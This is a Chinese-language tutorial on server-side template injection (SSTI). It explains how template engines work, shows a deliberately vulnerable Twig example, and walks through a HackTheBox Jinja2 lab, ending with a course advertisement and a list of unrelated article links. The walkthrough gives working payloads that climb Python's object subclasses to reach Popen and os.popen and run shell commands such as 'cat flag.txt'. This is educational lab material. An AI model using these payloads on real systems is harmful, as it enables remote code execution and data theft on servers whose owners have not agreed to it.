SSTI漏洞原理及渗透测试

news2024/12/24 20:19:34

模板引擎(Web开发中)

是为了使 用户界面 和 业务数据(内容)分离而产生的,它可以生成特定格式的文档,
利用模板引擎来生成前端的HTML代码,模板引擎会提供一套生成HTML代码的程序,之后只需获取用户的数据,放入渲染函数,该数据便会嵌入生成好的HTML页面中
,然后反馈给浏览器,呈现在用户面前

https://image.3001.net/images/20220920/1663679580_6329bc5c728779f8f0ed6.png!small

当前的主流框架,一般都采用MVC模式,即: Model-View-Controller
,用户的输入先进入Controller控制器,然后根据清流类型和请求的指令发送给对应的Model业务模型,由Model层进行业务逻辑的判断、数据库的存取等,最后把结果返回给View视图层,再经模板引擎的渲染展示给用户

模板引擎的基本机理就是 替换(转换)将指定的标签转换为需要的业务数据;将指定的伪语句按照某种流程来变换输出

引用一段代码来简单说一下:

// 模板
var template = '<p>Hello,my name is <%name%>.I am <%age%> years old.</p>';

// 用于匹配的正则
/*
    用于过滤出以<%开头,%>结尾,并且中间不包含%或>的匹配项
    其目的在于过滤出template中的 <%name%> 和 <%age%>
*/
var regex = /<%([^%]+)?%>/g;

// 数据
var data =
{
    name:'Deutsh',
    age:22
}

// 模板引擎
var TemplateEngine = function (template,data)
{
    // exec使用全局正则表达式意味着在循环中使用,因为它仍然会检索所有匹配的子表达式
    // /regex/.exec()仅返回找到的第一个匹配项
    while (match = regex.exec(template))
    {
        template = template.replace(match[0],data[match[1]])
    }

    return template;
}

// 最终的执行在此处

var string = TemplateEngine(template,data)
console.log(string)

上述代码,我们的目的是:将 数据文件 中对应的name和age替换到 模板文件

主要的执行在模板引擎的while函数中,match = regex.exec(template)会返回一个array,这个数组中包含了连个项目

⚠️ 为什么会包含两项呢:当正则表达式设置 g 标志位时,可以多次执行 exec 方法来查找同一个字符串中的成功匹配

https://image.3001.net/images/20220920/1663679582_6329bc5e4029f2922d448.png!small

之后template = template.replace(match[0],data[match[1]])等同于template = template.replace("<%name%>",data["name"]) 完成模板中数据的替换

1image.png

SSTI(模板注入)Server-Side Template Injection

由前面模板代码安利的演示,我们可以发现,
若服务端接受了用户的输入后(比如对于上述案例,data的name和age的数据由数据的输入/提交/请求而得),未经任何处理就将其作为Web应用模板内容的一部分
,就会导致模板引擎在进行目标编译渲染的过程中,执行了用户插入的可执行语句,从而可能导致信息泄露、代码执行等问题

https://image.3001.net/images/20220920/1663679704_6329bcd831ed3b71f302a.png!small

凡是使用模板的地方,SSTI是绕不过的问题,模板引擎可由多种语言实现,所以SSTI也就出现在了多种语言环境中

模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

常见的模板引擎

  • PHP

Twig模板变量: {{%s}}

Smarty模板变量: {%s}

Blade模板变量: {{%s}}

  • Python

Jinja2模板变量: {{%s}}

Tornado模板变量: {{%s}}

Django模板变量: {{ }}

  • Java

FreeMarker模板变量: <#%s>``${%s}

Velocity模板变量: #set($x=1+1)${x}

模板引擎众多,各个模板引擎的语法也不尽相同,我们最主要的是能定位出是否存在SSTI漏洞,至于后续的利用,我们掌握一些,其余的见到再查即可

如何测试是否存在SSTI

简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload, 通过页面渲染返回的内容检测承载的 Payload
是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入
,否则不存在 SSTI

此处我们拿来 bmjoker师傅 提供的一段示例代码

Twig模板引擎示例代码

<?php
  require_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php';
  Twig_Autoloader::register(true);

    // Twig_Loader_Array 用于定位模板 内置的加载器
    // Twig_Environment 来存储配置信息 内置的环境变量
  $twig = new Twig_Environment(new Twig_Loader_String());

     // render() 方法通过其第一个参数载入模板,**并通过第二个参数中的变量来渲染模板**!!重要!!
    // 模版含有 {{name}} 变量,其模版变量值来自于GET请求参数$_GET["name"]
  $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));
    // 将用户输入作为模版变量的值

  echo $output;
?>

这段代码中,由于 模板引擎一般都会默认对渲染的变量值进行编码和转义 。所以一般情况下并不会存在XSS等攻击的可能

若就如我们最开始的例子所说, 若模板引擎渲染的内容受我们控制了 ,就不一定了

// 上述代码基本内容不变,$output后的内容发生变化
 $output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分

此时render函数由于缺少第二个参数,所以 直接就会把"Hello 用户的输入"拼如模板进行渲染,这就相当于改变了最初的模板,由于模板最初是由开发者定义的,所以他会受到“信任”

对于Twig模板的变量{{%s}}除了传递变量外,还可以执行表达式,最简单的表达式就是{{2*2}},这也是辨认是否存在SSTI最基本的指纹,
若我们输入{{2*2}},HTML页面返回其其结果4,就说明该表达式被解析,存在SSTI

HackTheBox–Templated

我们以HTB上的一个靶场来演示一下该漏洞的判断与利用

2image.png

首先我们在浏览器中打开所给的IP:Port

3image.png

题目直接提示我们本体使用的模板引擎为**Jinja2**,根据我们之前总结的各个模板引擎的变量类型,我们可以知道该变量的类型是 {{%s}}
,所以话不多说我们直接拼接尝试

payload

={{2 * 2}}

https://image.3001.net/images/20220920/1663679896_6329bd984f97b960e07c1.png!small

2*2被计算,确认存在SSTI模板注入

exp

本题的重点还是在利用方面:由于我们的目标是读取处于服务器本地的一个存有Flag的文件,所以我们的重点是找到一个含有某种读取文件的函数的类(Python中),我们通过查阅手册发现可以利用Popen函数完成该功能,调用该函数会返回一个文件的句柄,然后再配合read()函数读取即可

该函数会执行fork一个子进程执行command这个命令,同时将子进程的标准输出通过管道连接到父进程,对于文件在父进程调用read()读取即可,对于命令在父进程会被执行

那么下面的重点就是,如何找到Popen这个函数所属的类,一般有两种方法,我们先说第一种

由于我们想要找的是一个子类,所以第一步即使找到其对象基类 即class 'object',为了达到这步,我们可以使用__mro__属性来访问对象的继承类,但我们目前没有对象,所以这里我们就构造一个 空字符串 :

{{"".__class__.__mro__}}其中__class__用于返回调用的参数类型

https://image.3001.net/images/20220920/1663679929_6329bdb97bde366377d1d.png!small

可以看出该子类继承自class'str'class 'object'并以一个元组返回,我们通过索引获得对象类

{{"".__class__.__mro__[1]}}

4image.png

接下来,我们要列举出所有集成自object的子类,通过对该对象调用__subclasses__方法

{{"".__class__.__mro__[1].__subclasses__()}}

https://image.3001.net/images/20220920/1663680031_6329be1feb334d8d1b6cd.png!small

但这有一个明显的缺点就是,好家伙,这么多子类,怎么可能找得到, 为了缩小范围我们对其进行切片

{{"".__class__.__mro__[1].__subclasses__()[400:]}}查找400个以后的元素

https://image.3001.net/images/20220920/1663680094_6329be5e669d280dfb93e.png!small

成功定位其位置,处于滴414号位置

{{"".__class__.__mro__[1].__subclasses__()[414]}}

然后我们为该函数传递参数调用即可

{{"".__class__.__mro__[1].__subclasses__()[414]("ls",shell=True,stdout=-1).communicate()}}

查看本地文件,发现flag.txt

https://image.3001.net/images/20220920/1663680157_6329be9db595c290807cf.png!small

Popen.communicate()

与进程交互:将数据发送到标准输入。从 stdout 和 stderr 读取数据,直到到达文件结尾

之后我们直接cat他就看见啦~~~~

{{"".__class__.__mro__[1].__subclasses__()[414]("cat flag.txt",shell=True,stdout=-1).communicate()}}

Python中常用的一些魔术方法

  • __dict__:保存类实例或对象实例的属性变量键值对字典

  • __class__:返回调用的参数类型

  • __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 寻找基类

  • __bases__:返回类型列表 寻找基类

  • __subclasses__:返回object的子类

  • __init__:类的初始化方法

  • __globals__:函数会以字典类型返回当前位置的全部全局变量 与func_globals等价

exp2

这里我们还有一种方法,使用全局下的内置模块引用__builtins__(指向__builtin__

在Python中,有一个内建模块,该模块中有一些常用函数;而该模块在Python启动后、且没有执行程序员所写的任何代码前,Python会首先加载
该内建函数到内存

{{"".__class__.__bases__[0].__subclasses__()[1500].__init__.__globals__['__builtins__']['__import__']("os").popen("cat flag.txt").read()}}

同样,我们获取基本类后,继续向下获取基本类(object)的子类,然后init初始化类,globals全局来查找所有的方法及变量和参数并查看其内建模块的引用

https://image.3001.net/images/20220920/1663680191_6329bebff1ce2e5df1072.png!small

使用内建模块中的__import__引入os库,并适用其中的popen函数读取flag.txt即可

https://image.3001.net/images/20220920/1663680222_6329bede03061fa407f00.png!small

注意:

该exp中,对子类的选择subclasses()[1500]时,经测试大多数子类中都包含内建模块的引用,但依旧有不少不包含,要注意

我们使用burp将子类的选择加为参数进行爆破

https://image.3001.net/images/20220920/1663680226_6329bee2b2aacb7322edb.png!small

遍历出(以下截图中Payload的子类号都可以引用,具有**__builtins__**)

https://image.3001.net/images/20220920/1663680231_6329bee71686f20bf4646.png!small

以下为不可以使用的(由此可看出号往大了写就对了~)

5image.png

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/344195.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

TensorRT的Python接口解析

TensorRT的Python接口解析 文章目录TensorRT的Python接口解析4.1. The Build Phase4.1.1. Creating a Network Definition in Python4.1.2. Importing a Model using the ONNX Parser4.1.3. Building an Engine4.2. Deserializing a Plan4.3. Performing Inference点此链接加入…

科技巨头争相入局,卫星通信领域将迎来怎样的发展?

近年来&#xff0c;全球卫星通信产业进入了一个高速发展的阶段。与卫星通信相关的新技术和新应用不断出现&#xff0c;成为了媒体报道的热点&#xff0c;也引起了公众的广泛关注。尤其是刚刚过去的2022年&#xff0c;华为和苹果公司分别发布了搭载卫星通信技术的手机&#xff0…

万丈高楼平地起:Linux常用命令

目录 系统管理命令 man命令 ls命令 cd命令 useradd命令 passwd命令 free命令 whoami命令 ps命令 date命令 pwd命令 shutdown命令 文件目录管理命令 touch命令 cat命令 mkdir命令 rm命令 cp命令 mv命令 find命令 more指令 less指令 head指令 tail指令 …

基于HTML实现浪漫情人节表白代码(附源代码)

&#x1f935;‍♂️ 个人主页&#xff1a;艾派森的个人主页 ✍&#x1f3fb;作者简介&#xff1a;Python学习者 &#x1f40b; 希望大家多多支持&#xff0c;我们一起进步&#xff01;&#x1f604; 如果文章对你有帮助的话&#xff0c; 欢迎评论 &#x1f4ac;点赞&#x1f4…

【spark】第三章——SparkSQL

文章目录1. SparkSQL 概述1.1 SparkSQL 是什么1.2 Hive and SparkSQL1.3 SparkSQL 特点1.3.1 易整合1.3.2 统一的数据访问1.3.3 兼容 Hive1.3.4 标准数据连接1.4 DataFrame 是什么1.5 DataSet 是什么2. SparkSQL 核心编程2.1 新的起点2.2 DataFrame2.2.1 创建 DataFrame2.2.2 S…

MVC架构 —— 理解 Dao 层和 Service 层

MVC 框架念叨了千百遍&#xff0c;但是对于它的理解还是停留在概念上。 作为一种经典架构设计典范&#xff0c;MVC 在日新月异的软件行业却能常青数十年&#xff0c;一定有其独特的魅力。 一、Dao 层和 Service 层的概念 Dao 是 Data Access Object &#xff08;数据访问对象&…

FPGA纯verilog实现任意分辨率视频输出显示,高度贴近真实项目,提供工程源码和技术支持

目录1、前言2、视频显示的VESA协议3、VESA协议的bug4、FPGA实现任意分辨率视频输出显示5、FDMA实现数据缓存6、vivado工程详解7、上板调试验证并演示8、福利&#xff1a;工程代码的获取1、前言 本设计使用纯Verilog代码实现&#xff0c;重点在于基于AXI协议的DDR控制器的运用&…

SpringBoot 整合EasyExcel详解

一、概述 Java解析、生成Excel比较有名的框架有Apache poi、jxl。但他们都存在一个严重的问题就是非常的耗内存&#xff0c;poi有一套SAX模式的API可以一定程度的解决一些内存溢出的问题&#xff0c;但POI还是有一些缺陷&#xff0c;比如07版Excel解压缩以及解压后存储都是在内…

内网渗透-src挖掘-互联网打点到内网渗透-2023年2月

1、通过信息搜集&#xff0c;发现目标有一个互联网访问的骑士cms 2、发现该系统骑士cms版本为6.0.20&#xff0c;通过搜索&#xff0c;发现骑士cms < 6.0.48存在任意文件包含漏洞 /Application/Common/Controller/BaseController.class.php 该文件的assign_resume_tpl函数…

字节面试惨败,闭关修炼再战美团(Android 面经~)

作者&#xff1a;王旭 前言 本人从事Android 开发已经有5年了&#xff0c;受末日寒气影响&#xff0c;被迫在家休整&#xff0c;事后第一家选择字节跳动面试&#xff0c;无奈的被面试官虐得“体无完肤”&#xff0c;好在自己并未气馁&#xff0c;于是回家开始回家进行闭关修炼…

使用红黑树模拟实现map和set

在STL的源代码中&#xff0c;map和set的底层原理都是红黑树。但这颗红黑树跟我们单独写的红黑树不一样&#xff0c;它需要改造一下&#xff1a; 改造红黑树 节点的定义 因为map和set的底层都是红黑树。而且map是拥有键值对pair<K,V>的&#xff0c;而set是没有键值对&a…

教育行业需要什么样的数字产品?

数字化转型的浪潮已经席卷了各行各业&#xff0c;不仅出现在互联网、电商、建筑等行业&#xff0c;还应用在了教育行业。数字化的教育ERP软件能够在满足学校需求的基础上&#xff0c;帮助学校完善各类工作流程&#xff0c;提高工作效率。 对于一个拥有多个校区&#xff0c;上万…

ChatGPT 也太火了吧 ...

最近 ChatGPT 太火了&#xff0c;微信指数 ChatGPT 关键词飙升。GitHub 上也不例外&#xff0c;最近热门项目都是 ChatGPT 项目。后续会陆续更新 ChatGPT 好玩的开源项目&#xff0c;本期是本周登上热榜的 Repo&#xff0c;请查收。本期推荐开源项目目录&#xff1a;1. 对 Chat…

ms17-010(永恒之蓝漏洞复现)

✅作者简介&#xff1a;CSDN内容合伙人、信息安全专业在校大学生&#x1f3c6; &#x1f525;系列专栏 &#xff1a;HW-2023-漏洞复现 &#x1f4c3;新人博主 &#xff1a;欢迎点赞收藏关注&#xff0c;会回访&#xff01; &#x1f4ac;舞台再大&#xff0c;你不上台&#xff…

Inception-Resnet-v1、Inception-Resnet-v2学习笔记

Inception-Resnet-v1、Inception-Resnet-v2来自2016年谷歌发表的这篇论文&#xff1a;Inception-v4 Inception-ResNet and the Impact of Residual Connections on Learning&#xff0c;附论文链接&#xff1a; [1602.07261] Inception-v4, Inception-ResNet and the Impact o…

【思维模型】概率思维的价值:找到你的人生算法!打开你的人生格局!实现认知跃迁!

把同样公平的机会放在放在很多人面前,不同的人生算法,会得到迥然不同的结果。 概率思维是什么? 【ChatGPT】概率思维是一种通过使用数学模型来思考和评估不确定性事件的方法。它通过计算不同可能性的概率来预测事件的结果,并评估风险和机会。 概率思维的价值在于它可以帮…

CSS样式表继承和优先级

CSS样式表继承 要想了解css样式表的继承&#xff0c;我们先从文档树&#xff08;HTML DOM&#xff09;开始。文档树由HTML元素组成。 文档树和家族树类似&#xff0c;也有祖先、后代、父亲、孩子和兄弟_。 那么CSS样式表继承指的是&#xff0c;特定的CSS属性向下传递到子孙元…

智能三子棋(人机大战)—— 你会是最终赢家吗?万字讲解让你实现与自己对弈

魔王的介绍&#xff1a;&#x1f636;‍&#x1f32b;️一名双非本科大一小白。魔王的目标&#xff1a;&#x1f92f;努力赶上周围卷王的脚步。魔王的主页&#xff1a;&#x1f525;&#x1f525;&#x1f525;大魔王.&#x1f525;&#x1f525;&#x1f525; ❤️‍&#x1…

2023年湖北建设厅七大员八大员报名怎么收费呢?

建设厅七大员八大员全国统一报名网站&#xff0c;证书全国通用&#xff0c;无需调转&#xff0c;这点还是很方便的&#xff0c;所有在湖北考的证书全国都能用呢。 八大员报考机构很多&#xff0c;收费也是层次不齐&#xff0c;这里需要提醒大家注意的是&#xff0c;咨询八大员的…

如何持续架构治理?我们和 ChatGPT 聊了一会?

在上周的 QCon 北京 2022 大会上&#xff0c;我和我的同事黄雨青一起分享了《组织级架构治理的正确方式》&#xff0c;以帮助开发人员对组织级架构治理体系全貌一瞥&#xff0c;并厘清治理工具的设计思路和核心功能内容。结合我们在 ArchGuard 的探索经验&#xff0c;我们&…